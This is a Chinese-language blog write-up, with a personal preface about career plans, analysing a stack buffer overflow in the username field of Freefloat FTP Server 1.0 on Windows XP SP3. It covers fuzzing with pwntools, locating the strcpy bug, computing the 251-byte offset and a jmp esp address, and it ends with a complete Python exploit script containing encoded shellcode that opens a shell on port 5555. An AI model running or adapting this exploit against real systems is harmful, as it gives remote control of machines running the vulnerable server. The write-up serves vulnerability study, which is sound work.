Freefloat FTP Server1.0溢出漏洞分析

很久没有动笔写文章了。发现打完某场比赛后,整个人都消磨了下来,没有前面的干劲十足样子了。
加上临近毕业,内心也浮躁了许多。借着前言,总结一下这两个月来的东西。
第一点是路子,很想以后走漏洞挖掘的路子,可是前面一年都是在搞web安全加上还剩下几个月时间就实习了,并且听说漏洞挖掘挺难找工作的,很纠结。目前想这几个月好好积累二进制基础、积累一下CTF的pwn类型,复现多几个漏洞,然后够money的话再考个PTE(听老师说挺简单的,找工作会容易点)。
第二就是,突然发现我开发挺菜的,或者说根本就没有code的经历,看着队友经常写项目,挺好的。安全是在建立的基础上,如果没有开发的经历,可能以后我的路子会越来越难提升。无论是漏洞挖掘上的C语言开发,还是web安全上的各种开发还有python。
第三点就是和前面差不多,在和队友去听某个公司的RHCE培训过程中,发现Linux运维也挺好的,还有一句话,安全是在搭建之上的,端口对应服务,服务存在漏洞,如果连服务都不会搭建,怎么搞安全?所以给自己立了个flag,这段时间看完《Linux基础及应用教程(基于CentOS7 第2版)》和《CentOS7系统管理与运维实战》两本书。还有RHCE课程,如果能拿下RHCE那更好了。
不过主要精力还是在于漏洞挖掘方向上。
Freefloat FTP Server1.0溢出漏洞分析是我在《kali linux 网络渗透测试实践指南》这本书上发现的一个挺基础又深刻的案例,下面是详细的分析过程。

环境准备

1、freefloatftpserver1.0
2、ImmunityDebugger
3、kali(pwntools)
4、xp-sp3
样本软件和工具

环境搭建

在xp-sp3上安装freefloatftpserver1.0和ImmunityDebugger

正常测试

这是正常测试的情况,一切输入都可能存在安全隐患。可以看到这里存在三类输入点:
1是用户名输入点,2是密码输入点,3是命令输入点。

测试用户名输入点

1、利用ImmunityDebugger,将freefloatftpserver1.0的进程附加进来调试(需要重新运行,前面已经连接了一次)

2、在kali中利用pwntools编写测试脚本

1
2
3
4
5
from pwn import *
p = remote('192.168.0.100',21)
payload = 'A'*500
p.sendline(payload)
p.close()

3、发送测试

EIP发生了改变,EIP=41414141。这里明显存在栈溢出,覆盖了原EIP。

调试用户名输入点

1、寻找位置下断点

在输入用户名前,该ftp会打印出FreeFloat Ftp Server(Vsersion 1.00)的字符串。
故以此为特征,断点在这个位置

2、确定异常位置

再次利用脚本发送数据到ftp,然后一步步步过,直到发生异常

确定漏洞位置为402DE0函数处,到达这里后会发生异常退出情况。

3、IDA分析漏洞位置

经分析,是strcpy函数导致的栈溢出漏洞。跟进asc_40A588证实为用户名输入点。

确定溢出空间

1、生成垃圾数据,发送到ftp

确定覆盖的eip为34694133。esp位置为00BDFC2C,内含数据7Ai8。

2、计算溢出空间

溢出空间为251,到达esp位置后的空间为263,也就是说,从eip到esp一共有12个字节空间。

3、证实栈帧位置

1
2
3
4
5
6
7
8
9
from pwn import *
p = remote('192.168.0.100',21)
payload = 'A'*251
eip = 'B'*4
eip2esp='C'*8
esp = 'D'*4
payload = payload+eip+eip2esp+esp
p.sendline(payload)
p.close()

4、寻找jmp esp地址

通过可执行模块的USER32.dll,查找jmp esp地址

采用jmp esp = 77D29353。(jmp esp技术原理见基础区文章)

部署payload

1、生成shellcode


shellcode功能为向hacker打开一个5555端口的shell,其中去除了\x00\x0a\x0d的坏字符。

2、部署payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *
p = remote("192.168.0.100",21)
payload = 'A'*251
payload +=p32(0x77d29353)
payload +='C'*8
payload +='\x90'*20
shellcode = ("\xbe\xc6\x74\x17\xa4\xdb\xd7\xd9\x74\x24\xf4\x58\x2b\xc9\xb1"
"\x53\x31\x70\x12\x83\xe8\xfc\x03\xb6\x7a\xf5\x51\xca\x6b\x7b"
"\x99\x32\x6c\x1c\x13\xd7\x5d\x1c\x47\x9c\xce\xac\x03\xf0\xe2"
"\x47\x41\xe0\x71\x25\x4e\x07\x31\x80\xa8\x26\xc2\xb9\x89\x29"
"\x40\xc0\xdd\x89\x79\x0b\x10\xc8\xbe\x76\xd9\x98\x17\xfc\x4c"
"\x0c\x13\x48\x4d\xa7\x6f\x5c\xd5\x54\x27\x5f\xf4\xcb\x33\x06"
"\xd6\xea\x90\x32\x5f\xf4\xf5\x7f\x29\x8f\xce\xf4\xa8\x59\x1f"
"\xf4\x07\xa4\xaf\x07\x59\xe1\x08\xf8\x2c\x1b\x6b\x85\x36\xd8"
"\x11\x51\xb2\xfa\xb2\x12\x64\x26\x42\xf6\xf3\xad\x48\xb3\x70"
"\xe9\x4c\x42\x54\x82\x69\xcf\x5b\x44\xf8\x8b\x7f\x40\xa0\x48"
"\xe1\xd1\x0c\x3e\x1e\x01\xef\x9f\xba\x4a\x02\xcb\xb6\x11\x4b"
"\x38\xfb\xa9\x8b\x56\x8c\xda\xb9\xf9\x26\x74\xf2\x72\xe1\x83"
"\xf5\xa8\x55\x1b\x08\x53\xa6\x32\xcf\x07\xf6\x2c\xe6\x27\x9d"
"\xac\x07\xf2\x08\xa4\xae\xad\x2e\x49\x10\x1e\xef\xe1\xf9\x74"
"\xe0\xde\x1a\x77\x2a\x77\xb2\x8a\xd5\x62\xf0\x02\x33\xe6\xe6"
"\x42\xeb\x9e\xc4\xb0\x24\x39\x36\x93\x1c\xad\x7f\xf5\x9b\xd2"
"\x7f\xd3\x8b\x44\xf4\x30\x08\x75\x0b\x1d\x38\xe2\x9c\xeb\xa9"
"\x41\x3c\xeb\xe3\x31\xdd\x7e\x68\xc1\xa8\x62\x27\x96\xfd\x55"
"\x3e\x72\x10\xcf\xe8\x60\xe9\x89\xd3\x20\x36\x6a\xdd\xa9\xbb"
"\xd6\xf9\xb9\x05\xd6\x45\xed\xd9\x81\x13\x5b\x9c\x7b\xd2\x35"
"\x76\xd7\xbc\xd1\x0f\x1b\x7f\xa7\x0f\x76\x09\x47\xa1\x2f\x4c"
"\x78\x0e\xb8\x58\x01\x72\x58\xa6\xd8\x36\x68\xed\x40\x1e\xe1"
"\xa8\x11\x22\x6c\x4b\xcc\x61\x89\xc8\xe4\x19\x6e\xd0\x8d\x1c"
"\x2a\x56\x7e\x6d\x23\x33\x80\xc2\x44\x16")
payload +=shellcode
p.sendline(payload)
p.close()

\x90为nop指令,起着类似滑板的作用。

hack it

参考

https://www.52pojie.cn/thread-557521-1-1.html
https://www.youtube.com/watch?v=i6Br57lh4uE